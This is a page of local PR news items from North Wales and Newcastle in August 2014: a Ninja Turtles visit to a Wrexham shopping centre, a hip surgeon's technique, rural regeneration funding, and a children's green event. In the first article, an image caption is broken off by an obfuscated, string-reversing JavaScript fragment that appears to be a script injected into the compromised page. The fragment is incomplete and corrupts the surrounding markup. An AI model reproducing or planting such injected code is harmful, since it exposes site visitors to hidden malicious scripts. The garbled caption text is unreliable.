Category: News

Young martial artists get a big kick out of the Ninja Turtles in Wrexham

Teenage Mutant Ninja Turtles visit Eagles meadow Wrexham. Pictured are Turtles Leo and Raph with members of Hope Wrexham Tae Kwon-do (TKD) Club .

Hundreds of young fans and a troupe of martial artists got a big kick out of welcoming the world-famous Teenage Mutant Ninja Turtles to Wrexham.

Teenage Mutant Ninja Turtles visit Eagles meadow Wrexham. Pictured People waiting <script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[to meet the Turtles at Eagles meadow." src="http://dev.ceidiog.com/pr/files/2014/08/TURTLES-9-ceidiog.jpg" width="400" height="267" />

Reptile brothers Leo and Raph stormed into Eagles Meadow shopping centre as part of a packed “Celebrity Summer” programme which is giving youngsters the chance to see their TV heroes close up.

Teenage Mutant Ninja Turtles visit Eagles meadow Wrexham.Pictured are Turtles Leo and Raph with Dylan Hopson,7

On hand to greet the Turtles in traditional style were members of Hope Wrexham Tae Kwon-do (TKD) Club who showed the formidable reptile twosome some pretty spectacular moves of their own.

Teenage Mutant Ninja Turtles visit Eagles meadow Wrexham. Pictured are Turtles Leo and Raph with members of Hope Wrexham Tae Kwon-do (TKD) Club .

The Mutant Turtles, who have been trained in the art of ninjutsu by their rat sensei Master Splinter, usually emerge from their sewer lair to confront the villains who threaten New York City.

But in a dramatic change of scene the children’s favourites chopped and kicked their way into the busy shopping centre to say hello to an army of young fans who turned out in force to see them at various intervals during the day.

After pitting their martial skills against the Tae Kwon-do club, they faced their fans and posed for pictures with many of them.

Among the first was five-year-old Alex Barclay from Wrexham who was looking smart in his own Mutant Ninja costume.

He said: “I love all the Ninjas Turtles and like to dress up like them. I even want to be one of them when I grow up.

“It was great that I was able to come and meet them today. My favourite is Leo and I’ve had my picture taken with him which was really good.”

His mum Becky Barclay who waited with him said: “I think it was marvellous that Eagles Meadow arranged for the Ninja Turtles to come along to the shopping centre and it’s made Alex’s day because he has lots of their DVDs and was looking forward to it very much.”

Kitted out in his bright green Ninja Turtles tee-shirt ready to meet his heroes was five-year-old Noah Safi from Wrexham.

He was brought along by his gran Helen Priamo, also from Wrexham, who said: “He got me up at 6 o’clock this morning and told me he wanted to wear his special tee-shirt for the trip to Eagles Meadow.

“Noah’s a really big fan of the Turtles and he’s got all their films. He also met Mike the Knight, who is another of his heroes, when he came here last week.”

Noah said: “It was great to meet Leo and Raph, who is my favourite Turtle. But I’ve liked them all for a long time.”

Kayden Harry, five, from Borras, couldn’t believe his luck when he got to stand alongside his Turtle heroes.

A thrilled Kayden, who was there with his auntie Kirsty Harry said: “I’m a big fan and I’ve got most of their DVDs, which I really enjoy watching. My favourite is Leo and it was great that he was here today.”

Mum Katrina Carroll brought along her 12-year-old daughter Rhiannon and son Rhys, five, from their home in Brymbo to meet the Ninja Turtles, although it was Rhys who argued he was the biggest fan of the fighting reptiles.

“I like them because of the way they fight and Leo is my favourite Turtle, so it was great to meet him and Raph today. I’m also coming back on August 19 to see Fireman Sam because I’m also a fan of his,” he said.

Andrea Roberts from Wrexham was at the event with her son Iwan, seven, who said he was also impressed with the way the Ninja Turtles beat their enemies with chops and kicks.

He said: “I watch their films all the time and Raph is the best Turtle, so it was good to see him and have my picture taken with him today.”

Mum Andrea said: “He’s been looking forward to coming along here all week because he’s a big fan of the Turtles. I’ll be bringing him back to see Fireman Sam because I think it’s really useful that Eagles Meadow organises events like this in the school holidays.”

After meeting the Turtles the youngsters in the crowd were thrilled to watch a demonstration by members of the Hope Wrexham Tae Kwon-Do Club nearby in Eagles Meadow.

Among the stars of the all-action free show was nine-year-old Sam Owen from Llay who has been a member of the club for years and qualified for the coveted black belt last year.

He gave an impressive display of kicking his way through a wooden board held out in front of him by a fellow member and later explained: “It’s one of my favourite moves!”

Also wowing the onlookers by smashing his way through a wooden board – this time with his bare fist – was 12-year-old Jack Cox from Llay who’s been a club member for four years and qualified for his black belt last April.

He said: “The move is called breaking and it’s really great to do, especially when there’s a big crowd watching like there is today.”

Club leader Julie Price, 53, from Wrexham, said: “We were delighted to come down to Eagles Meadow today to show off our martial skills and many of the members are fans of the Ninja Turtles, so it was great to put the two things together.

“Tae Kwon-Do is a modern Korean martial art, characterized by its fast, high and spinning kicks. There are multiple interpretations of the name Tae Kwon-Do.

“I’ve has been teaching since 1988 and opened Wrexham Hope TKD in 2000. During that time we’ve produced over 60 black belts, the youngest being nine years and seven months old. Four of our former students are currently running their own clubs.

“We currently have a total of 130 members aged from three to 77 years old and we run classes throughout the week at the sports hall in Glyndwr University, Rhosnesni High School, Ysgol Morgan Llwyd in Wrexham and Castell Alun High School in Mold as well as in Coedpoeth and Ellesmere.

“Tae Kwon-Do is for men, women and children. It will improve your fitness, flexibility, and most of all your confidence.”

Through their battles with Shredder, the Kraang and loads of super-powerful mutants, the Teenage Mutant Ninja Turtles learn to rely on themselves and each other as they grow to become the heroes they are destined to be.

Leonardo (Leo) dreams of being the perfect hero - a brave, decisive, square-jawed leader of men, just like his idol, Captain Ryan, from his favourite TV show Space Heroes.

A straight-up brawler, Raphael has no patience for hiding in shadows or keeping his voice down. Tough, brawny, and aggressive, Raph would rather fight first and ask questions later, which sometimes gets the Turtles in over their heads.

The visit by the Teenage Mutant Ninja Turtles was part of the “Celebrity Summer” programme which has seen a series of popular TV characters dropping into Eagles Meadow. For example fire-fighting legend Fireman Sam, Mike the Knight, and Lau Lau from Waybuloo.

For more details of Hope Wrexham Tae Kwon-do Club, go to their website at: http://www.hope-wrexham-tkd.co.uk/

Wednesday August 27th, 2014

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Pioneering hip operation skills of North Wales surgeon go global

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Pioneering hip operations that see patients back on their feet quickly are being taught to medics around the globe by a North Wales surgeon.

Orthopaedic surgeon Jamie Wootton, based at Wrexham’s Spire Yale Hospital, has even created a special operating table with his engineer brother – and the pair have also picked up a top American medical award for their invention.

The so-called Direct Anterior Approach to Hip Surgery gets patients walking unaided just days after their replacement operations, instead of the usual six weeks it takes with traditional techniques – so helping prevent deep vein thrombosis.

The key-hole operation also means there’s only a small scar and less pain as the muscles are not divided and do not need to recover as they do after standard traditional hip replacement, said Mr Wootton.

He now teaches other orthopaedic surgeons around the world how to carry out the operation.

Among those who have benefited from Mr Wootton’s skills is literacy consultant Delyth Owen, who was so impressed with the results of her first hip-op she’s just had her other hip joint replaced. The former teacher said her hip problems were exacerbated as she needed to sit on small, low chairs using in primary schools whilst helping the young children with their writing skills during demonstration lessons.

Mr Wootton explained: “When surgeons employ the anterior approach to hip replacement surgery, they enter the hip through the front part of the joint.

“It’s not the size of incision that matters – it’s what you do inside the body. When we take the anterior approach, we don’t detach or remove any muscles.

“From a recovery standpoint, that means less pain and a quicker return to function. The anterior approach is a minimally invasive surgery because you can perform the whole procedure through a 10cm or less incision. When surgeons eliminate the muscle disruption, they can return to regular activity quicker.”

Mr Wootton also uses X-rays to ensure pinpoint accuracy, that the joints are perfectly aligned and the legs the same length, so preventing patients developing a limp after their operation.

“With this equipment, you are watching the procedure on X-ray as you go in so you can see where the implant is going and get it exactly where you want it,” said Mr Wootton. “This gives you better control of the patient’s leg length.”

Although the technique is now widely used in Australia and parts of Europe, the UK is lagging behind, because surgeons need extra training plus specialised equipment, such as operating tables that allow the legs to be moved around during surgery. Also, the operation does not take any longer than the traditional method.

Mr Wootton added: “I know the implants I use are durable and I can see patients have a good outcome. It’s the next step forward in what we do as far as hip replacement surgery.

“Patients can sleep on their side after the operation – rather than just their back as recommended after traditional surgery and they are only in hospital a few days. Within days they are walking without any aids, whereas recovery after an operation using the traditional techniques can take several weeks.”

He is now treating patients from around the UK at Wrexham’s Spire Yale Hospital, especially senior managers and those who run their own companies, who do not have time to spend months recuperating after an operation.

This month he carried the technique for a second time on Mrs Owen, replacing her left hip joint. She faced having to close down her educational consultancy – for which her husband and two sons Dylan and Marc also work – because of her hip problems. And she feared that recovering from the operations would take weeks or even months.

Instead the ex-teacher from Prestatyn is looking forward to getting back behind the driving wheel so she can continue travelling around the UK with her educational consultancy and social enterprise Treehouse Tales, which takes the National Curriculum into the children’s world of make-believe. Her books and stories capture the children’s imagination and help them to learn, while soft toy characters provide teaching aids.

“I started with pain in my right hip, and it gradually got worse over a year or so, making it painful to drive and to get in or out of the car. I was a very active person, and I did lots of walking, but the pain in my hip meant I couldn’t do that, and I had to give up driving around the country with my work -  my husband Trevor, who is also a retired teacher now drives me.

“I stopped sitting down on small chairs with children to help them learn to write from the structured stories I have written, instead I now work with teachers. That means I can sit down or stand as needed, to relieve the pain in my hip.

“My family GP recommended Mr Wootton and I read up about the technique and thought it suited what I needed. Mr Wootton also explained everything very clearly to me – it was only a month from seeing my GP to my first consultation with Mr Wootton.

“After the operation I was up and about quickly and out of hospital after just a few days. I began needing a couple of crutches but within days I didn’t need any walking aids – in fact I was concerned that I had stopped using them too quickly!”

She has now decided to have a similar operation on her left hip, which was also causing her pain, and is looking forward to being able to play with her three-year-old granddaughter Rose.

“Several of my friends have also had hip operations and seemed to take a long time to recover. I can’t understand why more surgeons don’t use this technique, it was so quick and straightforward and has really transformed my life,” added Mrs Owen.

Friday August 22nd, 2014

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Rural regeneration agency lines up £7 million boost for North East Wales

Cadwyn Clwyd Pictured is Lowri Owain , Lowri Edwards and Andrew Jedwell.

A regeneration agency is in line for a six-year £7 million cash bonanza to boost the economy of rural North East Wales.

Cadwyn Clwyd is launching a month-long consultation process to explore the best ways of spending the money in the rural areas of Denbighshire, Flintshire and Wrexham.

The cash is part of an overall pot of £47.5 million for Wales and Cadwyn Clwyd has previously secured £14 million in European funding to run similar programmes in Denbighshire and Flintshire for a number of years.

Their remit has now been extended to the rural areas of Wrexham County Borough, taking in the large area south and west of North Wales’s biggest town.

The new projects could see over £2 million each go to Flintshire and Wrexham while Denbighshire receives just under £2 million.

The money comes through the European Agricultural Fund for Rural Development (EAFRD) through the Welsh Government’s Rural Development Plan and is part of a six-year plan to revitalise rural communities and their economies.

It has been backed by Clwyd South Assembly Member Ken Skates, the Welsh Government’s Deputy Minister for Skills and Technology, who said: “The fact that more people in Clwyd South could soon benefit from additional European and Welsh Government money is fantastic news.

“This major investment would represent a huge vote of confidence in the area and help galvanise some of our rural communities. I am excited to see how and where the money could be spent, and I would encourage my constituents to take part in the consultation process and have their say.

“Cadwyn Clwyd has already done some fantastic work in Clwyd South and Denbighshire, and across North East Wales as a whole, and I look forward to their excellent programmes being extended to include Wrexham and to benefit many more people in our part of the world.”

Lowri Owain, the Manager of Cadwyn Clwyd, said: “As a company, we’ve been very successful in attracting funding and in helping to get projects realised and we work with a wide range of projects.

“We hope this will be an extension of the successful series of programmes which we have been running in Denbighshire and Flintshire and which now has the potential to continue through to 2020.

“If we can secure this funding then it will represent a massive vote of confidence in the work we have been doing across all aspects of rural life from tourism, food production and job creation to improving community facilities and encouraging the arts.

“It will mean we can continue to foster innovation and develop the local economy in rural North East Wales.

“We are working in partnership with the three County Councils representing Denbighshire, Flintshire and now Wrexham and that has been vital to the bid and will be equally important for the future.”

Cadwyn Clwyd has helped secure the future of major local events like the Hamper Llangollen and Mold Food Festival as well as launching the Prince of Wales’s favourite community enterprise, Pub is the Hub in Wales for the first time in Wales before rolling it out across a total of eight local authority areas in Wales.

Other successful initiatives have seen them work with local food producers as well as help launch the Pwllglas Community Shop near Ruthin, winner of a Rural Community Ownership Award for 2014, while their bursaries have given a kickstart to small businesses and young entrepreneurs, first in Flintshire and then in Denbighshire as well.

They are currently helping Corwen set up its own hydro renewable energy project and they have funded a survey into climate change in the Clwydian Range Area of Outstanding Natural Beauty.

Lowri Owain added: “We would encourage local people with ideas to come to speak to Cadwyn Clwyd and to attend the consultation events being held over the coming weeks.

“We have a great chance of securing this money and now it’s up to the public to decide what the community’s needs are and how this money can best be used.

“If we can help to develop projects further we will do all we can to provide technical support and assistance to find funds.”

Cadwyn Clwyd Board member and Flintshire County Councillor Carolyn Thomas, from Treuddyn, the Chair of the Clwydian Range and Dee Valley Area of Outstanding Natural Beauty, said: “It is hugely important to rural North East Wales that Cadwyn Clwyd are able to continue their work.

“This new consultation process is a vital part of the preparation for the next six years and it is key that organizations and individuals engage with it.

“Cadwyn Clwyd has funded schemes that have brought communities together, working on initiatives they have developed from local groups through the support of their project officers who have taken people’s ideas and helped turned them into reality.

“Their expertise and know-how has brought organisations, communities and agencies together, provided access to funding and played a vital role in the ongoing regeneration of our countryside.”

Thursday August 21st, 2014

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Shoppers swarm to green event at Newcastle’s Silverlink Shopping Park

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Minibeasts, bugs and a giant African snail attracted swarms of families to a fun-filled sustainable event.

Children got their hands dirty as the two-day Big Green Leaf event at Newcastle’s Silverlink Shopping Park hit full swing.

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Colourful characters including Bugella Burrows and Walter Droplet hosted a wide range of interactive sustainability and eco-friendly activities to encourage youngsters to help look after the environment.

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From beneath a giant inflatable leaf canopy, Slimon the real giant African snail and his friend, Oozmelda the millipede were joined by other creepy crawlies in a bid to get kids more involved in looking after and learning about insects.

It was also a big day for North Tyneside-based creative recycling centre, House of Objects, who scooped the Big Green Leaf Community Award after shoppers used special tokens to vote for the local community group they felt most deserving of a £1,000 funding boost.

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The money will support their chosen green project which involves dedicating a section of their website to families to encourage them to share ideas for creative projects using waste materials.

Another green community group who were in the running after showcasing their work at the event were The Wildlife Trust.

Chairman of North Tyneside Council, Tommy Mulvenna, Councillor Jeanette Pickard and MP Alan Campbell, were on hand to help launch Silverlink Shopping Park’s Big Green Leaf event which kicked off on Friday, along with Cllr Brian Burdis and Head of Business and Economic Development, Paul Buie.

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And two-year-old Evie Richardson from Whitley Bay was among hundreds of children who got stuck in with the fun interactive activities.

Speaking from the event, her mum, Sarah said: “Evie’s been having a lovely time listening to stories and making a crown from recycled objects.

“She’s held a millipede, had her photograph taken and we’ve even been given a packet of sunflower seeds.

“We used our tokens to vote for House of Objects – a local creative recycling centre – as Evie had so much fun making crafts from recyclable items with them.

“We do recycle at home but the Big Green Leaf event has encouraged us to think more about the environment and has inspired me to come up with some ideas for what our everyday recyclable materials can be transformed into.”

During the weekend, youngsters made a splash while taking part in activities run by water lover and avid gardener, Walter Droplet.

A particular hit was the water butt challenge where children were transformed into clouds and tasked with the mission of “raining down into the H2O handling machine” until they gathered enough to water the garden and feed the insects.

Professional composter, Wormarie Compostulaire taught youngsters about food waste and recycling, and Litter Bug relived the moment he got his comeuppance for constantly dropping his rubbish on the floor.

Jo Francis, Head of Retail Property Management for the Regional Portfolio at The Crown Estate, which owns Silverlink Shopping Park, said the event has been a “huge success” and added: “Underneath the Big Green Leaf at Silverlink Shopping Park went down a storm and it was lovely to see so many families getting involved in all the fun-filled environmental activities.

“The characters and creepy crawlies were a big hit amongst the children who learned all about the environment and how we can all adopt a greener or more sustainable approach in our day to day living.

“It was also popular on social media with shoppers using #BigGreenLeaf on Twitter or posting free photographs of themselves with their favourite bugs on Facebook.”

She added: “Our congratulations go to House of Objects who deservedly won The Big Green Leaf Community Award with a £1,000 boost which will help them continue to achieve their green goals.

“Overall, the event was a huge success and we hope families can go away and enforce some of what they have learned about making the world more eco-friendly.”

Alan Campbell MP said: “The Crown Estate’s Underneath the Big Green Leaf at the Silverlink Shopping Park is a great example of how businesses can play an active role in the communities where they operate to encourage more sustainable lifestyles”.

Tuesday August 19th, 2014

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